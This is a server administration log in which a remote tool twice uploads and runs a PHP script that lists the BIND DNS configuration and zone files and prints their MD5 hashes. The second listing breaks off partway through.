MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:31:18: Establishing a connection
2026-04-25 19:31:18: 

PUT: /tmp/pkp953355

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:31:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp953355; rm /tmp/pkp953355'

2026-04-25 19:31:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:35:00: Establishing a connection
2026-04-25 19:35:00: Establishing a connection
2026-04-25 19:35:00: 

PUT: /tmp/pkp408485

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:35:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp408485; rm /tmp/pkp408485'

2026-04-25 19:35:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
